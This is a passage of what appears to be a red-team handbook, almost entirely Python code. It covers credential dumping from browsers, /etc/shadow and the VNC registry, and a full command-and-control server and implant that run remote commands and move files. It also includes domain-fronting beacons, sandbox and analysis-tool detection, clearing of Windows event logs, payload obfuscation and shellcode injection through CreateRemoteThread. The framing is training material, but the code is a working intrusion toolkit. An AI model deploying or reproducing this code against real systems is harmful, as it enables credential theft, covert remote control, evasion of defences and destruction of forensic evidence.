os.path.expandvars(r\"%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Login Data\")\n            \n        if not os.path.exists(chrome_path):\n            print(\"[-] Chrome login data not found\")\n            return None\n            \n        try:\n            # Copy file to avoid locking\n            import shutil\n            shutil.copy2(chrome_path, 'chrome_logins.db')\n            \n            conn = sqlite3.connect('chrome_logins.db')\n            cursor = conn.cursor()\n            \n            cursor.execute('SELECT origin_url, username_value, password_value FROM logins')\n            \n            passwords = []\n            for row in cursor.fetchall():\n                url, username, encrypted_password = row\n                # Decryption would require Chrome's master key\n                # This is simplified\n                passwords.append({\n                    'url': url,\n                    'username': username,\n                    'encrypted_password': base64.b64encode(encrypted_password).decode()\n                })\n                \n            conn.close()\n            os.remove('chrome_logins.db')\n            \n            self.credentials['chrome'] = passwords\n            return passwords\n            \n        except Exception as e:\n            print(f\"[-] Chrome dumping failed: {e}\")\n            return None\n    \n    def dump_firefox_passwords(self):\n        \"\"\"Dump Firefox saved passwords\"\"\"\n        \n        print(\"[*] Dumping Firefox passwords...\")\n        \n        firefox_path = os.path.expanduser(\"~/.mozilla/firefox/\")\n        \n        if not os.path.exists(firefox_path):\n            firefox_path = os.path.expandvars(r\"%APPDATA%\\Mozilla\\Firefox\\Profiles\\\")\n            \n        if not os.path.exists(firefox_path):\n            print(\"[-] Firefox profile not found\")\n            return None\n            \n        try:\n            # Find default profile\n            profiles = os.listdir(firefox_path)\n            default_profile = None\n            \n            for profile in profiles:\n                if profile.endswith('.default') or 'default' in profile:\n                    default_profile = os.path.join(firefox_path, profile)\n                    break\n                    \n            if not default_profile:\n                return None\n                \n            # Copy logins.json and key4.db\n            logins = os.path.join(default_profile, 'logins.json')\n            key_db = os.path.join(default_profile, 'key4.db')\n            \n            if os.path.exists(logins):\n                shutil.copy2(logins, 'firefox_logins.json')\n                \n                with open('firefox_logins.json', 'r') as f:\n                    data = json.load(f)\n                    \n                passwords = []\n                for login in data.get('logins', []):\n                    passwords.append({\n                        'hostname': login.get('hostname'),\n                        'username': login.get('username'),\n                        'encrypted_password': login.get('password')\n                    })\n                    \n                os.remove('firefox_logins.json')\n                \n                self.credentials['firefox'] = passwords\n                return passwords\n                \n        except Exception as e:\n            print(f\"[-] Firefox dumping failed: {e}\")\n            return None\n    \n    def dump_linux_shadow(self):\n        \"\"\"Dump Linux shadow file\"\"\"\n        \n        print(\"[*] Dumping Linux shadow file...\")\n        \n        try:\n            with open('/etc/shadow', 'r') as f:\n                shadow = f.read()\n                \n            hashes = []\n            for line in shadow.split('\\n'):\n                if ':' in line and '*!' not in line and '*' not in line:\n                    parts = line.split(':')\n                    if len(parts) &gt; 1 and parts[1] and parts[1] not in ['x', '!', '*']:\n                        hashes.append({\n                            'username': parts[0],\n                            'hash': parts[1]\n                        })\n                        \n            self.credentials['linux_shadow'] = hashes\n            return hashes\n            \n        except Exception as e:\n            print(f\"[-] Shadow dumping failed: {e}\")\n            return None\n    \n    def dump_browser_history(self):\n        \"\"\"Dump browser history for intelligence\"\"\"\n        \n        # Similar to password dumping but for history\n        pass\n    \n    def dump_vnc_passwords(self):\n        \"\"\"Dump VNC passwords from registry\"\"\"\n        \n        print(\"[*] Dumping VNC passwords...\")\n        \n        try:\n            key_path = r\"Software\\RealVNC\\vncserver\"\n            key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, key_path)\n            \n            password, _ = winreg.QueryValueEx(key, 'Password')\n            winreg.CloseKey(key)\n            \n            # VNC passwords are XOR encrypted\n            # Would need decryption here\n            \n            self.credentials['vnc'] = base64.b64encode(password).decode()\n            return self.credentials['vnc']\n            \n        except:\n            pass\n            \n        return None\n    \n    def save_credentials(self, filename):\n        \"\"\"Save dumped credentials to file\"\"\"\n        \n        with open(filename, 'w') as f:\n            json.dump(self.credentials, f, indent=2)\n            \n        print(f\"[+] Credentials saved to {filename}\")\n\n# Example usage\ndumper = CredentialDumper()\n\n# Dump various credentials\ndumper.dump_wifi_passwords()\ndumper.dump_chrome_passwords()\ndumper.dump_windows_hashes()\ndumper.save_credentials('dumped_creds.json')\n```\n\n---\n\n## Chapter 21 \u2014 Red Team Operations\n\nRed team operations simulate real-world adversarial tactics, techniques, and procedures (TTPs) to test an organization's defensive capabilities.\n\n### 21.1 Command &amp; Control\n\nCommand and Control (C2) infrastructure manages compromised systems and exfiltrates data.\n\n#### 21.1.1 C2 Framework Design\n\n```python\n#!/usr/bin/env python3\n# c2_framework.py\n\nimport socket\nimport threading\nimport json\nimport base64\nimport hashlib\nimport time\nimport random\nimport requests\nfrom cryptography.fernet import Fernet\n\nclass C2Server:\n    def __init__(self, host='0.0.0.0', port=443):\n        self.host = host\n        self.port = port\n        self.clients = {}\n        self.tasks = {}\n        self.results = {}\n        self.running = False\n        self.key = Fernet.generate_key()\n        self.cipher = Fernet(self.key)\n        \n    def generate_beacon(self, client_id):\n        \"\"\"Generate beacon configuration for client\"\"\"\n        \n        beacon = {\n            'id': client_id,\n            'server': f\"{self.host}:{self.port}\",\n            'interval': random.randint(30, 60),\n            'jitter': 0.3,\n            'key': self.key.decode(),\n            'kill_date': time.time() + 30 * 24 * 60 * 60  # 30 days\n        }\n        \n        return beacon\n    \n    def handle_client(self, client_socket, address):\n        \"\"\"Handle client connection\"\"\"\n        \n        client_id = hashlib.md5(f\"{address[0]}:{address[1]}{time.time()}\".encode()).hexdigest()[:8]\n        \n        self.clients[client_id] = {\n            'socket': client_socket,\n            'address': address,\n            'last_seen': time.time(),\n            'tasks': []\n        }\n        \n        print(f\"[+] New client {client_id} from {address}\")\n        \n        # Send client ID\n        client_socket.send(client_id.encode())\n        \n        while self.running:\n            try:\n                # Receive encrypted data\n                data = client_socket.recv(4096)\n                if not data:\n                    break\n                    \n                # Decrypt\n                decrypted = self.cipher.decrypt(data)\n                message = json.loads(decrypted)\n                \n                # Update last seen\n                self.clients[client_id]['last_seen'] = time.time()\n                \n                # Process message\n                if message['type'] == 'checkin':\n                    self.handle_checkin(client_id, message)\n                elif message['type'] == 'result':\n                    self.handle_result(client_id, message)\n                    \n            except Exception as e:\n                print(f\"Error with client {client_id}: {e}\")\n                break\n                \n        # Remove client on disconnect\n        if client_id in self.clients:\n            del self.clients[client_id]\n            print(f\"[-] Client {client_id} disconnected\")\n            \n        client_socket.close()\n        \n    def handle_checkin(self, client_id, message):\n        \"\"\"Handle client check-in\"\"\"\n        \n        print(f\"[*] Client {client_id} checked in\")\n        \n        # Send any pending tasks\n        if client_id in self.tasks:\n            tasks = self.tasks[client_id]\n            response = {\n                'type': 'tasks',\n                'tasks': tasks\n            }\n            encrypted = self.cipher.encrypt(json.dumps(response).encode())\n            self.clients[client_id]['socket'].send(encrypted)\n            \n    def handle_result(self, client_id, message):\n        \"\"\"Handle task result\"\"\"\n        \n        task_id = message['task_id']\n        result = message['result']\n        \n        self.results[task_id] = {\n            'client_id': client_id,\n            'result': result,\n            'timestamp': time.time()\n        }\n        \n        print(f\"[+] Received result for task {task_id} from {client_id}\")\n        \n    def add_task(self, client_id, task):\n        \"\"\"Add task for client\"\"\"\n        \n        task_id = hashlib.md5(f\"{client_id}{time.time()}\".encode()).hexdigest()[:8]\n        \n        task['id'] = task_id\n        \n        if client_id not in self.tasks:\n            self.tasks[client_id] = []\n            \n        self.tasks[client_id].append(task)\n        print(f\"[+] Task {task_id} added for client {client_id}\")\n        \n        return task_id\n    \n    def broadcast_task(self, task):\n        \"\"\"Broadcast task to all clients\"\"\"\n        \n        task_ids = []\n        for client_id in self.clients:\n            task_id = self.add_task(client_id, task)\n            task_ids.append(task_id)\n            \n        return task_ids\n    \n    def start(self):\n        \"\"\"Start C2 server\"\"\"\n        \n        self.running = True\n        \n        server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n        server.bind((self.host, self.port))\n        server.listen(5)\n        \n        print(f\"[*] C2 server listening on {self.host}:{self.port}\")\n        \n        while self.running:\n            try:\n                client, addr = server.accept()\n                thread = threading.Thread(target=self.handle_client, args=(client, addr))\n                thread.daemon = True\n                thread.start()\n            except:\n                pass\n                \n        server.close()\n        \n    def stop(self):\n        \"\"\"Stop C2 server\"\"\"\n        \n        self.running = False\n        \n        # Close all client connections\n        for client_id, client in self.clients.items():\n            try:\n                client['socket'].close()\n            except:\n                pass\n\nclass C2Client:\n    def __init__(self, server_host, server_port, client_id=None):\n        self.server_host = server_host\n        self.server_port = server_port\n        self.client_id = client_id\n        self.running = False\n        self.cipher = None\n        \n    def connect(self):\n        \"\"\"Connect to C2 server\"\"\"\n        \n        self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        self.socket.connect((self.server_host, self.server_port))\n        \n        # Receive client ID\n        self.client_id = self.socket.recv(1024).decode()\n        print(f\"[+] Connected to C2 server as {self.client_id}\")\n        \n    def set_key(self, key):\n        \"\"\"Set encryption key\"\"\"\n        self.cipher = Fernet(key)\n        \n    def check_in(self):\n        \"\"\"Send check-in message\"\"\"\n        \n        message = {\n            'type': 'checkin',\n            'client_id': self.client_id,\n            'timestamp': time.time()\n        }\n        \n        encrypted = self.cipher.encrypt(json.dumps(message).encode())\n        self.socket.send(encrypted)\n        \n    def send_result(self, task_id, result):\n        \"\"\"Send task result\"\"\"\n        \n        message = {\n            'type': 'result',\n            'client_id': self.client_id,\n            'task_id': task_id,\n            'result': result,\n            'timestamp': time.time()\n        }\n        \n        encrypted = self.cipher.encrypt(json.dumps(message).encode())\n        self.socket.send(encrypted)\n        \n    def receive_tasks(self):\n        \"\"\"Receive and execute tasks\"\"\"\n        \n        while self.running:\n            try:\n                data = self.socket.recv(4096)\n                if not data:\n                    break\n                    \n                decrypted = self.cipher.decrypt(data)\n                message = json.loads(decrypted)\n                \n                if message['type'] == 'tasks':\n                    for task in message['tasks']:\n                        self.execute_task(task)\n                        \n            except:\n                break\n                \n    def execute_task(self, task):\n        \"\"\"Execute received task\"\"\"\n        \n        task_id = task['id']\n        task_type = task['type']\n        task_data = task.get('data', {})\n        \n        result = None\n        \n        if task_type == 'command':\n            # Execute system command\n            import subprocess\n            try:\n                output = subprocess.run(task_data['cmd'], shell=True,\n                                      capture_output=True, text=True)\n                result = output.stdout + output.stderr\n            except Exception as e:\n                result = str(e)\n                \n        elif task_type == 'download':\n            # Download file\n            try:\n                with open(task_data['path'], 'rb') as f:\n                    file_data = f.read()\n                result = base64.b64encode(file_data).decode()\n            except Exception as e:\n                result = f\"Error: {e}\"\n                \n        elif task_type == 'upload':\n            # Upload file\n            try:\n                file_data = base64.b64decode(task_data['data'])\n                with open(task_data['path'], 'wb') as f:\n                    f.write(file_data)\n                result = f\"File uploaded to {task_data['path']}\"\n            except Exception as e:\n                result = f\"Error: {e}\"\n                \n        elif task_type == 'sleep':\n            # Change beacon interval\n            interval = task_data.get('interval', 60)\n            time.sleep(interval)\n            result = f\"Sleep interval changed to {interval}\"\n            \n        # Send result back\n        self.send_result(task_id, result)\n        \n    def start(self):\n        \"\"\"Start client beacon\"\"\"\n        \n        self.running = True\n        \n        # Initial connection\n        self.connect()\n        \n        # Beacon loop\n        interval = 60  # Default interval\n        while self.running:\n            try:\n                self.check_in()\n                self.receive_tasks()\n                \n                # Sleep with jitter\n                jitter = interval * random.uniform(0.8, 1.2)\n                time.sleep(jitter)\n                \n            except Exception as e:\n                print(f\"Connection error: {e}\")\n                time.sleep(30)  # Wait before reconnecting\n                self.connect()\n                \n    def stop(self):\n        \"\"\"Stop client\"\"\"\n        self.running = False\n        self.socket.close()\n\n# Example usage - Server\nif __name__ == \"__main__\":\n    import sys\n    \n    if len(sys.argv) &lt; 2:\n        print(\"Usage: c2_framework.py \")\n        sys.exit(1)\n        \n    if sys.argv[1] == \"server\":\n        server = C2Server()\n        \n        # Start server in thread\n        server_thread = threading.Thread(target=server.start)\n        server_thread.daemon = True\n        server_thread.start()\n        \n        # Interactive console\n        try:\n            while True:\n                cmd = input(\"C2&gt; \").strip()\n                \n                if cmd == \"clients\":\n                    print(f\"Connected clients: {len(server.clients)}\")\n                    for client_id in server.clients:\n                        print(f\"  {client_id}\")\n                        \n                elif cmd.startswith(\"task \"):\n                    parts = cmd.split(maxsplit=2)\n                    if len(parts) == 3:\n                        client_id = parts[1]\n                        task_cmd = parts[2]\n                        \n                        task = {\n                            'type': 'command',\n                            'data': {'cmd': task_cmd}\n                        }\n                        \n                        server.add_task(client_id, task)\n                        \n                elif cmd == \"broadcast\":\n                    cmd = input(\"Command to broadcast: \")\n                    task = {\n                        'type': 'command',\n                        'data': {'cmd': cmd}\n                    }\n                    server.broadcast_task(task)\n                    \n                elif cmd == \"exit\":\n                    break\n                    \n        except KeyboardInterrupt:\n            pass\n            \n        server.stop()\n        \n    elif sys.argv[1] == \"client\":\n        client = C2Client(\"127.0.0.1\", 443)\n        client.set_key(\"KEY_FROM_SERVER\")\n        client.start()\n```\n\n#### 21.1.2 Domain Fronting and C2 Evasion\n\n```python\n#!/usr/bin/env python3\n# c2_evasion.py\n\nimport requests\nimport random\nimport time\nimport hashlib\nimport base64\n\nclass DomainFronting:\n    def __init__(self, front_domain, backend_domain, c2_path):\n        self.front_domain = front_domain\n        self.backend_domain = backend_domain\n        self.c2_path = c2_path\n        self.session = requests.Session()\n        \n    def create_request(self, data):\n        \"\"\"Create request with domain fronting headers\"\"\"\n        \n        headers = {\n            'Host': self.backend_domain,\n            'User-Agent': self.random_user_agent(),\n            'Accept': '*/*',\n            'Accept-Language': 'en-US,en;q=0.9',\n            'Accept-Encoding': 'gzip, deflate',\n            'Connection': 'keep-alive',\n            'Cache-Control': 'no-cache',\n            'Pragma': 'no-cache'\n        }\n        \n        # Add random headers for fingerprinting avoidance\n        if random.random() &gt; 0.5:\n            headers['X-Forwarded-For'] = self.random_ip()\n            \n        if random.random() &gt; 0.7:\n            headers['Referer'] = f\"https://{self.front_domain}/\"\n            \n        return headers\n    \n    def random_user_agent(self):\n        \"\"\"Generate random user agent\"\"\"\n        \n        user_agents = [\n            'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',\n            'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/605.1.15',\n            'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0',\n            'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36'\n        ]\n        \n        return random.choice(user_agents)\n    \n    def random_ip(self):\n        \"\"\"Generate random IP address\"\"\"\n        return f\"{random.randint(1,255)}.{random.randint(0,255)}.{random.randint(0,255)}.{random.randint(1,255)}\"\n    \n    def send_beacon(self, data):\n        \"\"\"Send beacon via domain fronting\"\"\"\n        \n        url = f\"https://{self.front_domain}{self.c2_path}\"\n        headers = self.create_request(data)\n        \n        # Encrypt data\n        encoded_data = base64.b64encode(data.encode()).decode()\n        \n        # Send request\n        try:\n            response = self.session.get(url, headers=headers, params={'d': encoded_data}, timeout=10)\n            return response.text\n        except Exception as e:\n            return None\n    \n    def receive_tasks(self):\n        \"\"\"Receive tasks from C2\"\"\"\n        \n        # Similar to send but with different parameters\n        pass\n\nclass C2Profile:\n    def __init__(self, profile_name):\n        self.profile_name = profile_name\n        self.profile = self.load_profile(profile_name)\n        \n    def load_profile(self, profile_name):\n        \"\"\"Load C2 profile (malleable profile)\"\"\"\n        \n        profiles = {\n            'amazon': {\n                'headers': {\n                    'User-Agent': 'Amazon CloudFront Client',\n                    'X-Amz-Date': '${datetime}',\n                    'X-Amz-Content-SHA256': '${hash}'\n                },\n                'uri': '/api/v1/data',\n                'jitter': 0.3,\n                'sleep': 60\n            },\n            'google': {\n                'headers': {\n                    'User-Agent': 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)',\n                    'Accept': 'text/html,application/xhtml+xml',\n                    'X-Client-Data': '${random}'\n                },\n                'uri': '/search',\n                'jitter': 0.5,\n                'sleep': 120\n            },\n            'cloudflare': {\n                'headers': {\n                    'User-Agent': 'Cloudflare-HealthCheck/1.0',\n                    'CF-RAY': '${random}',\n                    'CF-Visitor': '{\"scheme\":\"https\"}'\n                },\n                'uri': '/cdn-cgi/trace',\n                'jitter': 0.2,\n                'sleep': 30\n            }\n        }\n        \n        return profiles.get(profile_name, profiles['amazon'])\n    \n    def transform_data(self, data):\n        \"\"\"Transform data according to profile\"\"\"\n        \n        # Add profile-specific transformations\n        if self.profile_name == 'amazon':\n            # Base64 encode with Amazon-specific formatting\n            import base64\n            return base64.b64encode(data.encode()).decode()\n            \n        elif self.profile_name == 'google':\n            # URL encode with Google parameters\n            import urllib.parse\n            return urllib.parse.quote(data)\n            \n        elif self.profile_name == 'cloudflare':\n            # JSON with Cloudflare fields\n            import json\n            return json.dumps({'data': data, 'timestamp': time.time()})\n            \n        return data\n\n# Example usage\nc2 = DomainFronting(\"cdn.example.com\", \"backend-c2.com\", \"/api/data\")\ndata = c2.send_beacon(\"test beacon\")\n```\n\n### 21.2 OPSEC\n\nOperational Security (OPSEC) is critical for avoiding detection during red team operations.\n\n#### 21.2.1 OPSEC Considerations\n\n```python\n#!/usr/bin/env python3\n# opsec.py\n\nimport os\nimport sys\nimport time\nimport random\nimport platform\nimport subprocess\n\nclass OPSEC:\n    def __init__(self):\n        self.indicators = []\n        self.cleanup_tasks = []\n        \n    def check_environment(self):\n        \"\"\"Check for analysis environments\"\"\"\n        \n        indicators = []\n        \n        # Check for debugger\n        if sys.gettrace() is not None:\n            indicators.append(\"Debugger detected\")\n            \n        # Check for VM indicators (simplified)\n        vm_indicators = [\n            \"vbox\",\n            \"vmware\",\n            \"qemu\",\n            \"virtual\",\n            \"hyper-v\"\n        ]\n        \n        if platform.system() == \"Windows\":\n            import winreg\n            try:\n                key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, \n                                   r\"SYSTEM\\CurrentControlSet\\Services\\Disk\\Enum\")\n                value, _ = winreg.QueryValueEx(key, \"0\")\n                for indicator in vm_indicators:\n                    if indicator in value.lower():\n                        indicators.append(f\"VM detected: {indicator}\")\n                winreg.CloseKey(key)\n            except:\n                pass\n                \n        # Check for sandbox time acceleration\n        start = time.time()\n        time.sleep(2)\n        elapsed = time.time() - start\n        \n        if elapsed &lt; 1.5 or elapsed &gt; 2.5:\n            indicators.append(\"Time acceleration detected\")\n            \n        # Check for common analysis tools\n        analysis_processes = [\n            \"procmon\",\n            \"procmon64\",\n            \"regmon\",\n            \"regmon64\",\n            \"wireshark\",\n            \"tcpview\",\n            \"process explorer\",\n            \"x64dbg\",\n            \"ollydbg\",\n            \"ida\",\n            \"ghidra\"\n        ]\n        \n        if platform.system() == \"Windows\":\n            import psutil\n            for proc in psutil.process_iter(['name']):\n                proc_name = proc.info['name'].lower()\n                for tool in analysis_processes:\n                    if tool in proc_name:\n                        indicators.append(f\"Analysis tool detected: {proc_name}\")\n                        \n        self.indicators = indicators\n        return indicators\n    \n    def sleep_with_jitter(self, base_time):\n        \"\"\"Sleep with jitter to avoid pattern detection\"\"\"\n        \n        jitter = random.uniform(-0.3, 0.3) * base_time\n        sleep_time = base_time + jitter\n        \n        # Add random delays within the sleep\n        elapsed = 0\n        while elapsed &lt; sleep_time:\n            chunk = min(random.uniform(1, 5), sleep_time - elapsed)\n            time.sleep(chunk)\n            elapsed += chunk\n            \n    def random_delay(self, min_ms=100, max_ms=1000):\n        \"\"\"Random delay in milliseconds\"\"\"\n        \n        delay = random.randint(min_ms, max_ms) / 1000\n        time.sleep(delay)\n        \n    def add_cleanup_task(self, task):\n        \"\"\"Add cleanup task to be executed at end\"\"\"\n        self.cleanup_tasks.append(task)\n        \n    def execute_cleanup(self):\n        \"\"\"Execute all cleanup tasks\"\"\"\n        \n        for task in self.cleanup_tasks:\n            try:\n                task()\n            except:\n                pass\n                \n    def clear_event_logs(self):\n        \"\"\"Clear Windows event logs\"\"\"\n        \n        if platform.system() == \"Windows\":\n            logs = ['Application', 'System', 'Security']\n            for log in logs:\n                try:\n                    subprocess.run(['wevtutil', 'cl', log], capture_output=True)\n                    print(f\"[+] Cleared {log} log\")\n                except:\n                    pass\n                    \n    def delete_temp_files(self, patterns):\n        \"\"\"Delete temporary files matching patterns\"\"\"\n        \n        import glob\n        for pattern in patterns:\n            for file in glob.glob(pattern):\n                try:\n                    os.remove(file)\n                    print(f\"[+] Deleted {file}\")\n                except:\n                    pass\n                    \n    def clear_recent_files(self):\n        \"\"\"Clear recent files list\"\"\"\n        \n        if platform.system() == \"Windows\":\n            recent = os.path.expandvars(r\"%APPDATA%\\Microsoft\\Windows\\Recent\")\n            try:\n                for file in os.listdir(recent):\n                    os.remove(os.path.join(recent, file))\n                print(\"[+] Cleared recent files\")\n            except:\n                pass\n                \n    def clear_clipboard(self):\n        \"\"\"Clear clipboard\"\"\"\n        \n        if platform.system() == \"Windows\":\n            import ctypes\n            ctypes.windll.user32.OpenClipboard(0)\n            ctypes.windll.user32.EmptyClipboard()\n            ctypes.windll.user32.CloseClipboard()\n            \n    def check_network_monitoring(self):\n        \"\"\"Check for network monitoring tools\"\"\"\n        \n        monitoring_ports = [80, 443, 8080, 8443, 53, 123, 389, 636]\n        suspicious_connections = []\n        \n        try:\n            import psutil\n            for conn in psutil.net_connections():\n                if conn.status == 'LISTEN' and conn.laddr.port in monitoring_ports:\n                    for proc in psutil.process_iter(['pid', 'name', 'cmdline']):\n                        if proc.info['pid'] == conn.pid:\n                            # Check for monitoring tools\n                            monitoring_tools = ['wireshark', 'tcpdump', 'snort', 'zeek', 'bro']\n                            proc_name = proc.info['name'].lower()\n                            for tool in monitoring_tools:\n                                if tool in proc_name:\n                                    suspicious_connections.append({\n                                        'port': conn.laddr.port,\n                                        'process': proc_name,\n                                        'pid': conn.pid\n                                    })\n        except:\n            pass\n            \n        return suspicious_connections\n    \n    def randomize_beacon(self, base_interval=60):\n        \"\"\"Randomize beacon intervals and data\"\"\"\n        \n        jitter = random.uniform(0.7, 1.3)\n        interval = base_interval * jitter\n        \n        # Add random delays within the beacon\n        self.sleep_with_jitter(interval)\n        \n        # Randomize beacon data\n        beacon_data = {\n            'timestamp': time.time(),\n            'nonce': random.getrandbits(32),\n            'checksum': random.getrandbits(64)\n        }\n        \n        return beacon_data\n\n# Example usage\nopsec = OPSEC()\nenv_check = opsec.check_environment()\nif env_check:\n    print(f\"[!] Analysis environment detected: {env_check}\")\n    # Exit or take evasive action\n\n# Add cleanup tasks\nopsec.add_cleanup_task(opsec.clear_event_logs)\nopsec.add_cleanup_task(opsec.delete_temp_files, ['*.log', '*.tmp', '*.dmp'])\n\n# Execute cleanup at end\nopsec.execute_cleanup()\n```\n\n### 21.3 Evasion Techniques\n\nEvasion techniques help red team operations avoid detection by security controls.\n\n#### 21.3.1 Anti-Virus and EDR Evasion\n\n```python\n#!/usr/bin/env python3\n# evasion.py\n\nimport base64\nimport random\nimport string\nimport hashlib\nimport os\nimport sys\nimport ctypes\n\nclass Evasion:\n    def __init__(self):\n        self.techniques = []\n        \n    def string_obfuscation(self, s):\n        \"\"\"Obfuscate strings to avoid signature detection\"\"\"\n        \n        # Simple XOR obfuscation\n        key = random.randint(1, 255)\n        obfuscated = ''.join(chr(ord(c) ^ key) for c in s)\n        return base64.b64encode(obfuscated.encode()).decode(), key\n    \n    def deobfuscate_string(self, obfuscated, key):\n        \"\"\"Deobfuscate string\"\"\"\n        \n        decoded = base64.b64decode(obfuscated).decode()\n        return ''.join(chr(ord(c) ^ key) for c in decoded)\n    \n    def encode_payload(self, payload):\n        \"\"\"Encode payload with multiple layers\"\"\"\n        \n        # Base64 encode\n        b64 = base64.b64encode(payload).decode()\n        \n        # Reverse\n        reversed = b64[::-1]\n        \n        # XOR with random key\n        key = random.randint(1, 255)\n        xored = ''.join(chr(ord(c) ^ key) for c in reversed)\n        \n        return {\n            'encoded': base64.b64encode(xored.encode()).decode(),\n            'key': key,\n            'decoder': self.generate_decoder_stub()\n        }\n    \n    def generate_decoder_stub(self):\n        \"\"\"Generate decoder stub for payload\"\"\"\n        \n        stub = '''\ndef decode_payload(encoded, key):\n    import base64\n    xored = base64.b64decode(encoded).decode()\n    reversed = ''.join(chr(ord(c) ^ key) for c in xored)\n    return base64.b64decode(reversed[::-1])\n'''\n        return stub\n    \n    def split_payload(self, payload, chunk_size=100):\n        \"\"\"Split payload into chunks to avoid detection\"\"\"\n        \n        chunks = []\n        for i in range(0, len(payload), chunk_size):\n            chunk = payload[i:i+chunk_size]\n            chunks.append(base64.b64encode(chunk).decode())\n            \n        return chunks\n    \n    def reassemble_payload(self, chunks):\n        \"\"\"Reassemble split payload\"\"\"\n        \n        full = ''\n        for chunk in chunks:\n            full += base64.b64decode(chunk).decode()\n        return full.encode()\n    \n    def add_junk_code(self, code, junk_ratio=0.3):\n        \"\"\"Add junk code to confuse analysis\"\"\"\n        \n        junk_patterns = [\n            'x = 1; y = 2; z = x + y;',\n            'for i in range(10): pass',\n            'def useless_function(): return None',\n            'if True: print(\"debug\")',\n            'import math; math.sqrt(4)',\n            'data = [1,2,3,4,5]; sum(data)'\n        ]\n        \n        lines = code.split('\\n')\n        junk_count = int(len(lines) * junk_ratio)\n        \n        for _ in range(junk_count):\n            pos = random.randint(0, len(lines))\n            lines.insert(pos, random.choice(junk_patterns))\n            \n        return '\\n'.join(lines)\n    \n    def check_sandbox(self):\n        \"\"\"Check if running in sandbox\"\"\"\n        \n        indicators = []\n        \n        # Check for small disk size (common in sandboxes)\n        if sys.platform == 'win32':\n            import win32file\n            drives = win32file.GetLogicalDrives()\n            for drive in range(26):\n                if drives &amp; (1 &lt;&lt; drive):\n                    drive_letter = chr(65 + drive) + \":\\\\\"\n                    try:\n                        stats = win32file.GetDiskFreeSpaceEx(drive_letter)\n                        if stats[0] &lt; 50 * 1024 * 1024 * 1024:  # Less than 50GB\n                            indicators.append(f\"Small disk: {drive_letter}\")\n                    except:\n                        pass\n                        \n        # Check for common sandbox processes\n        sandbox_processes = [\n            'vboxservice', 'vboxtray', 'vmtoolsd', 'vmwaretray',\n            'xenservice', 'qemu-ga', 'procmon', 'regmon'\n        ]\n        \n        if sys.platform == 'win32':\n            import psutil\n            for proc in psutil.process_iter(['name']):\n                proc_name = proc.info['name'].lower()\n                for sandbox in sandbox_processes:\n                    if sandbox in proc_name:\n                        indicators.append(f\"Sandbox process: {proc_name}\")\n                        \n        return indicators\n    \n    def delay_execution(self, min_delay=5, max_delay=15):\n        \"\"\"Delay execution to evade sandbox timeouts\"\"\"\n        \n        import time\n        delay = random.randint(min_delay, max_delay)\n        time.sleep(delay)\n        \n    def api_hashing(self, api_name):\n        \"\"\"Hash API names to avoid string detection\"\"\"\n        \n        return hashlib.md5(api_name.encode()).hexdigest()\n    \n    def dynamic_import(self, module_name, function_name):\n        \"\"\"Dynamically import modules to avoid static analysis\"\"\"\n        \n        import importlib\n        \n        module = importlib.import_module(module_name)\n        function = getattr(module, function_name)\n        \n        return function\n    \n    def inject_code(self, shellcode, pid=None):\n        \"\"\"Inject shellcode into process (Windows)\"\"\"\n        \n        if sys.platform != 'win32':\n            return False\n            \n        import ctypes\n        from ctypes import wintypes\n        \n        # Windows API functions\n        kernel32 = ctypes.WinDLL('kernel32', use_last_error=True)\n        \n        # Open process\n        PROCESS_ALL_ACCESS = 0x1F0FFF\n        if pid:\n            hProcess = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, pid)\n        else:\n            hProcess = kernel32.GetCurrentProcess()\n            \n        # Allocate memory\n        MEM_COMMIT = 0x00001000\n        MEM_RESERVE = 0x00002000\n        PAGE_EXECUTE_READWRITE = 0x40\n        \n        addr = kernel32.VirtualAllocEx(\n            hProcess, None, len(shellcode),\n            MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE\n        )\n        \n        # Write shellcode\n        written = ctypes.c_size_t(0)\n        kernel32.WriteProcessMemory(\n            hProcess, addr, shellcode, len(shellcode),\n            ctypes.byref(written)\n        )\n        \n        # Create remote thread\n        thread_id = ctypes.c_ulong(0)\n        kernel32.CreateRemoteThread(\n            hProcess, None, 0, addr, None, 0,\n            ctypes.byref(thread_id)\n        )\n        \n        return True\n    \n    def masquerade_process(self, target_process):\n        \"\"\"Masquerade as legitimate process\"\"\"\n        \n        import sys\n        \n        if sys.platform == 'win32':\n            # Change process name (simplified - actual process hollowing is more complex)\n            ctypes.windll.kernel32.SetConsoleTitleW(f\"{target_process} - Console\")\n            \n        return True\n\n# Example usage\nevasion = Evasion()\n\n# Check for sandbox\nsandbox_indicators = evasion.check_sandbox()\nif sandbox_indicators:\n    print(f\"[!] Sandbox detected: {sandbox_indicators}\")\n    evasion.delay_execution(30, 60)  # Delay to confuse sandbox\n\n# Obfuscate string\noriginal = \"malicious_function\"\nobfuscated, key = evasion.string_obfuscation(original)\nprint(f\"Original: {original}\")\nprint(f\"Obfuscated: {obfuscated}\")\nprint(f\"Deobfuscated: {evasion.deobfuscate_string(obfuscated, key)}\")\n\n# Split payload\npayload = b\"malicious_payload_content\"\nchunks = evasion.split_payload(payload)\nprint(f\"Split into {len(chunks)} chunks\")\n```\n\n#### 21.3.2 Network Evasion\n\n```python\n#!/usr/bin/env python3\n# network_evasion.py\n\nimport random\nimport time\nimport socket\nimport struct\nimport threading\n\nclass NetworkEvasion:\n    def __init__(self):\n        self.techniques = []\n        \n    def fragment_packets(self, data, fragment_size=100):\n        \"\"\"Fragment packets to evade IDS\"\"\"\n        \n        fragments = []\n        for i in range(0, len(data), fragment_size):\n            fragment = data[i:i+fragment_size]\n            fragments.append(fragment)\n            \n        return 